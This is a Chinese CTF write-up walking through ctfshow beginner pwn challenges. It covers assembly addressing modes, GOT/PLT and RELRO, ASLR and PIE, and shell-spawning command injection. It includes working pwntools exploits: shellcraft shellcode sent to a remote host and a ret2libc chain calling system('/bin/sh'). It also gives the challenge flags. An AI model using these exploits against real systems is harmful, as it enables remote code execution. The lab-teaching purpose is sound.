前言
因为ctfshow新开了个pwn入门的靶场,限免15天共36题,不学白不学(
参考了T1ngSh0w的博客
Test_your_nc
简单的nc操作,只需会一点linux命令和代码审计能力就能ak的部分
前置基础
汇编语言
pwn5~pwn12附件相同
pwn5
pwn题的起手式一般是在拿到附件之后先丢到虚拟机中
给可执行文件加上执行权限
checksec
检查保护状态和文件的位数
可以发现是32位的,那就丢到ida中进行反编译
void __noreturn start()
{
int v0; // eax
int v1; // eax
v0 = sys_write(1, &dword_80490E8, 0x16u);
v1 = sys_exit(0);
}
本题还给了asm汇编源代码,直接打开或cat读取其内容
section .data
msg db "Welcome_to_CTFshow_PWN", 0 ; 声明了一个名为msg的字符串,包含了18个字符和一个空字符。最后的0是一个字节的空字符,用于表示字符串的结束
section .text
global _start ; 定义了程序的入口点_start
_start:
; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx
; 直接寻址方式
mov ecx, [msg] ; 将msg的地址赋值给ecx
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax
; 输出字符串
mov eax, 4 ; 系统调用号4代表输出字符串
mov ebx, 1 ; 文件描述符1代表标准输出
mov ecx, msg ; 要输出的字符串的地址
mov edx, 22 ; 要输出的字符串的长度
int 0x80 ; 调用系统调用
; 退出程序
mov eax, 1 ; 系统调用号1代表退出程序
xor ebx, ebx ; 返回值为0
int 0x80 ; 调用系统调用
本题要求运行此文件,将得到的字符串提交
那我们直接运行即可
flag就是ctfshow{Welcome_to_CTFshow_PWN}
pwn6
立即寻址方式结束后eax寄存器的值为?
那我们直接看立即寻址部分即可
; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1
旁边的注释写的很清晰了
这里就是一个基础的运算eax=11+114504-1=114514
即flag为ctfshow{114514}
pwn7
寄存器寻址方式结束后edx寄存器的值为?
看寄存器寻址方式部分
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx
如注释所说的,edx=ebx=0x36d
flag:ctfshow{0x36D}
(这里的flag要大写D)
pwn8
直接寻址方式结束后ecx寄存器的值为?
看直接寻址部分
; 直接寻址方式
mov ecx, [msg] ; 将msg的地址赋值给ecx
如注释,ecx=[msg]
要获取这里的msg地址需将可执行文件用ida进行反编译
找到ecx寄存器,旁边这个dword_80490E8
就是[msg],点击dword_80490E8
跟进
.data后面的080490E8
就是msg的地址
所以flag:ctfshow{0x80490E8}
(这里是16进制数据,0后面要补上x)
pwn9
寄存器间接寻址方式结束后eax寄存器的值为?
看间接寻址部分
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
如注释,eax=[esi]=msg
此时esi寄存器的值为msg,即上题中的080490E8
mov eax,[esi]
将esi中的值作为地址,然后将该地址单元的值赋给eax
即把080490E8地址单元中的值636C6557h
赋给eax
所以eax=636C6557h,末尾的h表示十六进制
则flag:ctfshow{0x636C6557}
pwn10
寄存器相对寻址方式结束后eax寄存器的值为?
看相对寻址部分
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
如注释,ecx=ecx+4=msg,eax=[ecx]
第一个mov中ecx的值为msg的地址080490E8
然后将这个值加4,十六进制计算器敲一下得到结果是080490EC
第二个mov是把这个值作为地址,将地址单元的值赋给eax
可以看到080490EC
地址单元中的值为ome_to_CTFshow_PWN
,即eax寄存器的值为ome_to_CTFshow_PWN
flag:ctfshow{ome_to_CTFshow_PWN}
pwn11
基址变址寻址方式结束后的eax寄存器的值为?
看基址变址寻址方式
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
如注释,ecx=msg=080490E8
,edx=2,eax=[ecx+edx*2]
edx*2=4,那eax的值就等于[ecx+4]的地址单元,那就和上题一样是ome_to_CTFshow_PWN
flag:ctfshow{ome_to_CTFshow_PWN}
pwn12
相对基址变址寻址方式结束后eax寄存器的值为?
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax
如注释,ecx=msg=080490E8
,edx=1,ecx=ecx+8,eax=[ecx + edx*2 - 6]
算一算就知道结果还是eax=[ecx+4]
flag:ctfshow{ome_to_CTFshow_PWN}
编译
pwn13
gcc编译使用
下载题目附件flag.c,拖入虚拟机中进行gcc编译
gcc -o flag flag.c
然后运行得到flag
./flag
flag:ctfshow{hOw_t0_us3_GCC?}
pwn14
创建key文件
下载题目附件flag.c,阅读源码
#include <stdio.h>
#include <stdlib.h>
#define BUFFER_SIZE 1024
int main() {
FILE *fp;
unsigned char buffer[BUFFER_SIZE]; // 定义了一个缓冲区 buffer,用于存储从文件中读取的二进制数据,以及一个常量 BUFFER_SIZE,表示缓冲区的大小
size_t n;
fp = fopen("key", "rb"); // 以二进制模式打开文件key
if (fp == NULL) {
perror("Nothing here!");
return -1;
}
char output[BUFFER_SIZE * 9 + 12]; // 定义了一个输出字符串变量 output,大小为 BUFFER_SIZE * 9 + 12,用于存储输出的格式化字符串
int offset = 0; // 用于跟踪字符串的长度
offset += sprintf(output + offset, "ctfshow{"); // 将 "ctfshow{" 格式化字符串添加到 output 中,并将 offset 更新为添加后字符串的长度
while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) { // 使用 fread 函数从文件中读取二进制数据,并将数据转换为二进制字符串
for (size_t i = 0; i < n; i++) {
for (int j = 7; j >= 0; j--) {
offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1); // 转换后的字符串通过 sprintf 函数添加到 output 中,并将 offset 更新为添加后字符串的长度
}
if (i != n - 1) {
offset += sprintf(output + offset, "_");
}
}
if (!feof(fp)) {
offset += sprintf(output + offset, " "); // 如果文件没有读取到末尾,程序将在输出字符串中添加一个空格。
}
}
offset += sprintf(output + offset, "}");
printf("%s\n", output);
fclose(fp);
return 0;
}
代码大致逻辑就是读取key文件,然后通过几个循环的操作得到flag
而key文件是需要我们本地创建的,题目给定key为”CTFshow”
echo CTFshow > key # 创建内容为CTFshow的key文件
然后我们再编译运行flag.c文件就可以获得flag了
gcc -o flag flag.c
./flag
flag:ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}
pwn15
nasm编译汇编代码到可执行文件
下载题目附件,得到flag.asm
丢到虚拟机中进行编译
nasm -f elf64 flag.asm # 将flag.asm编译成64为.o文件
ld -s -o flag flag.o # 将flag.o链接成flag可执行文件
然后运行即可获取flag
./flag
flag:ctfshow{@ss3mb1y_1s_3@sy}
pwn16
gcc编译
下载附件得到flag.s
在虚拟机中进行编译并运行
gcc -o flag flag.s # 将flag.s编译成flag可执行文件
./flag
这里遇到了一点问题,在我自己的虚拟机环境上编译出来的flag文件运行结果会多出后四位,不过多运行几遍就可以知道flag应该是不变的那几位(
实际flag:ctfshow{daniuniuda}
nc
pwn17
system(“/bin/sh”)绕过长度限制
下载题目附件pwn,先在虚拟机中给个可执行权限检查一下文件信息
chmod +x pwn
checksec ./pwn
发现是64位可执行文件
丢进ida64反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-1Ch] BYREF
char dest[4]; // [rsp+Ah] [rbp-16h] BYREF
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts(asc_D48);
puts(asc_DC0);
puts(asc_E40);
puts(asc_ED0);
puts(asc_F60);
puts(asc_FE8);
puts(asc_1080);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : You should understand the basic command usage of Linux! ");
puts(" * ************************************* ");
*(_DWORD *)dest = 790655852;
v4 = 0;
puts("\nHow much do you know about Linux commands? \n");
while ( 1 )
{
menu();
v4 = 0;
puts("\nEnter the command you want choose:(1.2.3.4 or 5)\n");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
system("id");
break;
case 2:
puts("Which directory?('/','./' or the directiry you want?)");
read(0, buf, 0xAuLL);
strcat(dest, buf);
system(dest);
puts("Execution succeeded!");
break;
case 3:
sleep(1u);
puts("$cat /ctfshow_flag");
sleep(1u);
puts("ctfshow{");
sleep(2u);
puts("... ...");
sleep(3u);
puts("Your flag is ...");
sleep(5u);
puts("ctfshow{flag is not here!}");
sleep(0x14u);
puts("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......");
sleep(0x1BF52u);
system("cat /ctfshow_flag");
break;
case 4:
sleep(2u);
puts("su: Authentication failure");
break;
case 5:
puts("See you!");
exit(-1);
default:
puts("command not found!");
break;
}
}
}
分析一下可以知道首先是进入一个while循环打印出menu
然后进入switch-case语句,根据我们输入的选项来执行分支语句
可以发现case3中有读取flag的语句
case 3:
sleep(1u);
puts("$cat /ctfshow_flag");
sleep(1u);
puts("ctfshow{");
sleep(2u);
puts("... ...");
sleep(3u);
puts("Your flag is ...");
sleep(5u);
puts("ctfshow{flag is not here!}");
sleep(0x14u);
puts("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......");
sleep(0x1BF52u);
system("cat /ctfshow_flag");
break;
但是存在sleep(0x1BF52u)
,换算成十进制就是要我们等待114514秒,所以这个选项明显走不通
再看看case2
case 2:
puts("Which directory?('/','./' or the directiry you want?)");
read(0, buf, 0xAuLL); // 通过read()函数从标准输入(stdin)中读取用户输入,并将其存储在名为“buf”的缓冲区中,并且限制了长度最多为0xA,即9
strcat(dest, buf); // 将用户输入的目录追加到名为“dest”的已有字符串后面
system(dest);
puts("Execution succeeded!");
break;
这里会将我们输入的字符串当作参数传入system()函数,也就是可以进行命令执行
但是cat /ctfshow_flag
的长度明显比9多
所以这里得想办法绕过限制
system(“/bin/sh”)
启动一个新的shell进程,并将其作为当前进程的控制台
明显/bin/sh
的长度没有超过9,所以可以利用这种方法获取shell实现绕过
nc连上靶机开做即可
pwn18
echo >>和 echo >
下载题目附件pwn
和上题一样在虚拟机中给执行权限,checksec查看信息,发现是64位
丢到ida64进行反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts(s);
puts(asc_B10);
puts(asc_B90);
puts(asc_C20);
puts(asc_CB0);
puts(asc_D38);
puts(asc_DD0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Do you know redirect output ? ");
puts(" * ************************************* ");
// 以上为前面的部分
puts("Which is the real flag?");
__isoc99_scanf("%d", &v4);
if ( v4 == 9 )
fake();
else
real();
system("cat /ctfshow_flag");
return 0;
}
前面部分的语句就是输出一些题目信息,告诉我们要进行一次输入,关键就在if-else语句中的两个函数内容,如果输入值为9进入fake()
函数,反之为real()
函数
双击查看fake()
函数
int fake()
{
return system("echo 'flag is here'>>/ctfshow_flag");
}
再双击查看real()
函数
int real()
{
return system("echo 'flag is here'>/ctfshow_flag");
}
可以发现两个函数的执行语句差不多,区别在fake()
函数是>>
而real()
函数只有>
echo+输出重定向符号
echo > file
:将文本内容写入文件,如果文件不存在则创建文件。如果文件已经存在,则会覆盖文件中的内容。echo >> file
:将文本内容追加到文件末尾。如果文件不存在,则创建一个新文件并将文本内容写入其中。
所以我们要选择执行的函数是fake()
,因为是在末尾追加flag is here
语句
而real()
函数将会把整个ctfshow_flag文件的内容修改为flag is here
那么nc连上靶机,输入9即可获取flag
pwn19
>&0定向到输入流
下载题目附件pwn
和上题一样在虚拟机中给执行权限,checksec查看信息,发现一样是64位
丢到ida64进行反编译
前面的部分和上题一样,直接看关键部分
if ( fork() ) // fork()函数用于在进程中创建一个新的子进程,则一开始返回的一定是0,先进入else语句
{
wait(0LL);
sleep(3u);
printf("flag is not here!");
}
else
{
puts("give you a shell! now you need to get flag!");
fclose(_bss_start);
read(0, buf, 0x20uLL);
system(buf);
}
return 0;
fclose()
函数关闭一个文件流,这里关闭了_bss_start流,也即关闭了这里的输出流,我们执行命令得不到回显
>&0
一种Shell重定向语法,用于将标准输出(1)重定向到标准输入(0)
通过在末尾添加>&0
可以实现绕过关闭输出流的限制
所以nc连上靶机开做(这里执行命令的环境不是交互式的,每执行一个命令就要重新连一次靶机)
ls >&0
cat ctfshow_flag >&0
plt与got
基础知识可以看我专门写的另一篇博客Linux动态链接中的PLT和GOT
这里专门就获取题目的flag进行学习
pwn20
提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}
例如 .got可写.got.plt表可写其地址为0x400820 0x8208820 最终flag为ctfshow{1_1_0x400820_0x8208820} 若某个表不存在,则无需写其对应地址 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
.got表与.got.plt是否可写
这里与linux可执行文件的保护机制相关,就是我们使用checksec
时查看到的信息相关,包括Stack canaries、No-eXecute、ASLR和PIE、FORTIFY_SOURCE以及RELRO
与.got、.got.plt节是否可写有关的是RELRO保护机制
RELRO
是一种二进制文件的保护机制,它可以防止攻击者利用程序中的全局偏移表(GOT)进行攻击。在 RELRO 保护下,GOT 表被设置为只读,从而使攻击者无法修改 GOT 表中的地址。
RELRO 机制有两种不同的实现方式:Partial RELRO
和 Full RELRO
。
Partial RELRO
:只在程序启动时保护 GOT 表的前部分,即只有在动态链接库被加载时才会保护 GOT 表的后部分。这种保护方式可以防止一些简单的攻击,但无法防止攻击者修改 GOT 表中的地址。
即表示.got不可写而.got.plt可写
Full RELRO
:在程序启动时即可完全保护 GOT 表,即使在动态链接库被加载后也不允许修改 GOT 表中的地址。这种保护方式可以有效地防止攻击者利用 GOT 表进行攻击。
即表示.got不可写.got.plt也不可写
所以下载题目附件pwn,丢入虚拟机checksec查看保护机制
可以看到No RELRO
,也就表示.got与.got.plt都可写,即flag的前一部分为1_1
于是使用readelf -S
命令查看 ELF 文件的所有节信息,包括每个节的名称、大小、偏移量和属性,这里其中就包含了节的所在地址
找到.got和.got.plt的地址
地址就是跟在PROGBITS后的第一段信息,即0x600f18
和0x600f28
则flag:ctfshow{1_1_0x600f18_0x600f28}
pwn21
和上一题一样要提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}
下载题目附件pwn,丢进虚拟机
checksec
检查保护
可以看到这里是Partial RELRO
,表示.got不可写而.got.plt可写,即flag的前一部分为0_1
然后readelf -S
查看节信息找到.got和.got.plt的地址
即后一部分的flag为0x600ff0_0x601000
所以flag:ctfshow{0_1_0x600ff0_0x601000}
pwn22
问题和上一题一样
下载题目附件pwn,丢进虚拟机
checksec
检查保护
可以看到这里是Full RELRO
,表示.got不可写.got.plt也不可写,即flag的前一部分为0_0
然后readelf -S
查看节信息找到.got和.got.plt的地址
这里只找到了.got,则flag后一部分为0x600fc0
flag:ctfshow{0_0_0x600fc0}
ret2shellcode、ret2libc
相关知识请移步ctfwiki
等哪天有空了说不定会补上(x
pwn23
缓冲区溢出
下载题目附件pwn,丢进虚拟机checksec
是32位的,丢进ida反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // eax
int v5; // [esp-Ch] [ebp-2Ch]
int v6; // [esp-8h] [ebp-28h]
int v7; // [esp-4h] [ebp-24h]
FILE *stream; // [esp+4h] [ebp-1Ch]
stream = fopen("/ctfshow_flag", "r"); // 打开名为 /ctfshow_flag 的文件
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream); // 从 /ctfshow_flag 文件中读取不超过 64 个字符的内容到缓冲区 flag 中
signal(11, (__sighandler_t)sigsegv_handler);
v3 = getegid();
setresgid(v3, v3, v3, v5, v6, v7, v3);
puts(asc_8048940);
puts(asc_80489B4);
puts(asc_8048A30);
puts(asc_8048ABC);
puts(asc_8048B4C);
puts(asc_8048BD0);
puts(asc_8048C64);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No canary found ");
puts(" * ************************************* ");
puts("How to input ?");
if ( argc > 1 )
ctfshow((char *)argv[1]); // 如果命令行参数个数大于 1,则调用名为 ctfshow() 的函数并将第二个命令行参数(argv[1])作为参数传递给它
return 0;
}
ctfshow()函数
char *__cdecl ctfshow(char *src)
{
char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF
return strcpy(dest, src);
}
审计代码得知,
主要部分:虽然读取了flag文件保存在缓冲区中但是没有输出,同时判断我们输入的参数是否大于1,如果大于1进入ctfshow()函数并且将我们输入的第一个参数作为ctfshow()函数的参数,ctfshow函数接收一个src参数将其值赋给dest
而ctfshow()函数用到了strcpy()
函数,这个函数是可以发生溢出的,src是我们输入的参数,并且没有被限制长度,代表我们可以利用缓冲区溢出漏洞
那么ssh连上靶机
可以发现不能直接cat /ctfshow_flag
而这里的pwnme应该是我们下载的附件,所以我们还是要靠这个文件来获取flag
既然我们的思路是缓冲区溢出,那就在运行该文件传参的时候输入大量的字符串使其溢出即可
成功获取flag
pwn24
shellcraft
下载题目附件pwn,丢进虚拟机checksec
是32位的,丢进ida反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
puts(asc_80486E0);
puts(asc_8048754);
puts(asc_80487D0);
puts(asc_804885C);
puts(asc_80488EC);
puts(asc_8048970);
puts(asc_8048A04);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : NX disabled & Has RWX segments ");
puts(" * ************************************* ");
ctfshow(&argc);
return 0;
}
然而ctfshow()函数没反编译出来,那就看看其汇编代码凑合了
.text:080484C6 ; int __cdecl ctfshow(_DWORD)
.text:080484C6 public ctfshow
.text:080484C6 ctfshow proc near ; CODE XREF: main+132↓p
.text:080484C6
.text:080484C6 buf= byte ptr -88h ; 定义buf
.text:080484C6 var_4= dword ptr -4
.text:080484C6
.text:080484C6 ; __unwind {
.text:080484C6 55 push ebp
.text:080484C7 89 E5 mov ebp, esp
.text:080484C9 53 push ebx
.text:080484CA 81 EC 84 00 00 00 sub esp, 84h
.text:080484D0 E8 2B FF FF FF call __x86_get_pc_thunk_bx
.text:080484D0
.text:080484D5 81 C3 2B 1B 00 00 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080484DB 83 EC 04 sub esp, 4
.text:080484DE 68 00 01 00 00 push 100h ; nbytes
.text:080484E3 8D 85 78 FF FF FF lea eax, [ebp+buf] ; ebp+buf=ebp-0w88
.text:080484E9 50 push eax ; buf
.text:080484EA 6A 00 push 0 ; fd
.text:080484EC E8 6F FE FF FF call _read ; 调用read函数,将我们的输入赋给eax里的地址单元=ebp-0x88
.text:080484EC
.text:080484F1 83 C4 10 add esp, 10h
.text:080484F4 83 EC 0C sub esp, 0Ch
.text:080484F7 8D 85 78 FF FF FF lea eax, [ebp+buf]
.text:080484FD 50 push eax ; s
.text:080484FE E8 6D FE FF FF call _puts ; 调用puts函数,将eax地址单元的内容输出,此时eax=ebp-0x88
.text:080484FE
.text:08048503 83 C4 10 add esp, 10h
.text:08048506 8D 85 78 FF FF FF lea eax, [ebp+buf]
.text:0804850C FF D0 call eax ; 调用eax里地址单元所指向的代码,eax的地址单元为ebp-0x88
.text:0804850C
.text:0804850E 90 nop
.text:0804850F 8B 5D FC mov ebx, [ebp+var_4]
.text:08048512 C9 leave
.text:08048513 C3 retn
.text:08048513 ; } // starts at 80484C6
.text:08048513
.text:08048513 ctfshow endp
同时我们发现这里关掉了NX保护
NX
用于防止程序运行时的内存攻击,如缓冲区溢出和代码注入等攻击
关掉NX代表着栈可执行
而开始我们将栈中地址ebp-0x88赋给eax,并在该地址里写入我们输入的东西,最后程序会执行这里边的东西,也就是会执行我们写入的东西,如果我们写入的是shellcode,那么程序也就会执行我们的shellcode
题目描述中提示我们使用shellcraft
模块进行攻击
那我们就开始编写exp
from pwn import *
# 与目标服务器的pwn文件建立进程
p = remote("pwn.challenge.ctf.show", "28193")
# 使用shellcraft模块生成shellcode
shell = asm(shellcraft.sh())
# 向远程发送数据(我们的shellcode)
p.sendline(shell)
# 建立交互式对话
p.interactive()
连上后获取flag
pwn25
ret2libc
下载题目附件pwn,丢进虚拟机checksec
开了NX,是32位,题目描述让我们用ret2libc来做
丢进ida反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
ctfshow(&argc);
logo();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
ctfshow()函数
ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF
return read(0, buf, 0x100u);
}
审计代码,先通过ctfshow()函数,读入我们输入的字符串
注意这里读入的buf是132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度
说明会缓冲区溢出
注意缓冲区buf定义在函数的栈帧中,使用ebp(基址指针)和esp(堆栈指针)来寻址,偏移量为-88,要覆盖返回地址的话偏移量还要-4,即使用0x88+0x4个无用填充字符覆盖到返回地址
我们先看一下plt表中的函数
objdump -d -j .plt pwn
可以看到plt表中含有puts函数跟write函数,那got表中也一定有他俩,
所以我们就使用puts函数来输出函数的内存地址
然后寻找相应的libc版本中puts
函数的地址,接着找到找到libc中的system
函数地址,填充执行system函数之后的返回地址(32位下偏移量固定为4),最后填入system的参数/bin/sh
exp(python3):
from pwn import *
from LibcSearcher import *
# 打印调试信息
context.log_level = 'debug'
# 建立连接
p = remote("pwn.challenge.ctf.show", "28119")
elf = ELF("./pwn")
# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']
# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))
# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts", puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()
期间遇到LibcSearcher库出问题的可以看这个博客LibcSearcher的安装使用
ALSR
对于二进制来说,攻击的前提是知道内存布局,需要提前知道shellcode或者其他一些数据的位置
而ALSR的作用是随机分配可执行文件、动态链接库、堆、栈等内存区域的地址,使攻击者无法轻易地预测这些内存区域的位置
但是ASLR提供的只是概率上的安全性,根据用于随机化的熵,攻击者有可能幸运地猜到正确的地址,有时攻击者还可以爆破
在Linux上,ASLR的全局配置/proc/sts/kernel/randomize_va_space有三种情况:
0表示关闭ASLR;
1表示部分开启(将mmap的基址,stack和vdso页面随机化);
2表示完全开启(在部分开启的基础上增加heap的随机化)。
如下:
我们可以修改/proc/sts/kernel/randomize_va_space文件的值来配置ASLR。
pwn26
修改/proc/sys/kernel/randomize_va_space
下载题目附件pwn,丢进虚拟机checksec
是64位的,丢进ida64反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *ptr; // [rsp+0h] [rbp-10h]
void *v5; // [rsp+8h] [rbp-8h]
ptr = malloc(4uLL);
v5 = dlopen("/lib/x86_64-linux-gnu/libc.so.6", 258);
puts(s);
puts(asc_4008F0);
puts(asc_400970);
puts(asc_400A00);
puts(asc_400A90);
puts(asc_400B18);
puts(asc_400BB0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Please confirm your ASLR level first ! ");
puts(" * ************************************* ");
puts("Here is your ASLR level:");
system("cat /proc/sys/kernel/randomize_va_space"); // 读取文件
puts("If the result is 0, then you get the correct flag!"); // 如果内容为0则给正确的flag
puts("If not,you will get a fake flag!");
printf("flag is :ctfshow{%p", main);
printf("_%p", system);
printf("_%p", ptr);
printf("_%p", v5);
puts("}");
free(ptr);
return 0;
}
审计代码,可以看到先读取我们本地的/proc/sys/kernel/randomize_va_space
文件,若里面的内容是0,那接下来输出正确的flag
那我们先看看本地的/proc/sys/kernel/randomize_va_space
文件
cat /proc/sys/kernel/randomize_va_space
看到我们的内容为2,那么我们得改为0
注意,我们要更改/proc/sys/kernel/randomize_va_space
,就必须将用户切换到root,不然是改不了的。
wsl ubuntu一开始就不知道root密码的可以看这篇文章Windows下WSL Ubuntu中登录root账号的密码
su root
echo 0 > /proc/sys/kernel/randomize_va_space
./pwn
由于环境不同给的flag会不一样,这里得用ctfshow提供的虚拟机来运行
flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}
pwn27
先把题目给的libc-2.27.so文件和pwn附件放在同个文件夹下
和上题一样操作,同样是修改/proc/sys/kernel/randomize_va_space
,这次要求为0或者1
system("cat /proc/sys/kernel/randomize_va_space");
puts("If the result is 0 or 1, then you get the correct flag!");
我们上题已经修改为0了,所以直接运行就拿到flag了
flag:ctfshow{0x400687_0x400560_0x603260}
pwn28
和上题比起来什么限制都没有,直接运行获取flag(?
PIE
由于ASLR是一种操作系统层面的技术,而二进制程序本身是不支持随机化加载的,便出现了一些绕过方法,例如ret2plt、GOT劫持、地址爆破等
于是,人们于2003年引入了位置无关可执行文件(Position-Independent Executable,PIE)。它在应用层的编译器实现,通过将程序编译为位置无关代码(Position-Independent Code,PIC),使程序可以被加载到任意位置,就像是一个特殊的共享库。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,大大增加了利用难度。
可执行文件中的代码和数据会被随机地放置在内存中的某个位置,因此无法像传统的可执行文件那样准确地知道偏移量
pwn29
下载题目附件pwn,丢进虚拟机checksec
保护全开,有PIE
是64位的,丢进ida64反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[4]; // [rsp+4h] [rbp-1Ch] BYREF
void *ptr; // [rsp+8h] [rbp-18h]
void *v6; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
ptr = malloc(4uLL);
v6 = dlopen("./libc-2.27.so", 258);
puts(s);
puts(asc_B10);
puts(asc_B90);
puts(asc_C20);
puts(asc_CB0);
puts(asc_D38);
puts(asc_DD0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Please confirm your ASLR level first ! ");
puts(" * ************************************* ");
system("echo 2 > /proc/sys/kernel/randomize_va_space");
puts("Here is your ASLR level:");
system("cat /proc/sys/kernel/randomize_va_space");
puts("Let's take a look at protection:");
system("checksec pwn");
printf("executable: %p\n", main);
printf("system@plt: %p\n", &system);
printf("heap: %p\n", ptr);
printf("stack: %p\n", v4);
puts("As you can see, the protection has been fully turned on and the address has been completely randomized!");
puts("Here is your flag:");
puts("ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}");
free(ptr);
return 0;
}
代码审计,发现有system("echo 2 > /proc/sys/kernel/randomize_va_space");
,把其内容更改为2,也就是将ASLR全开启
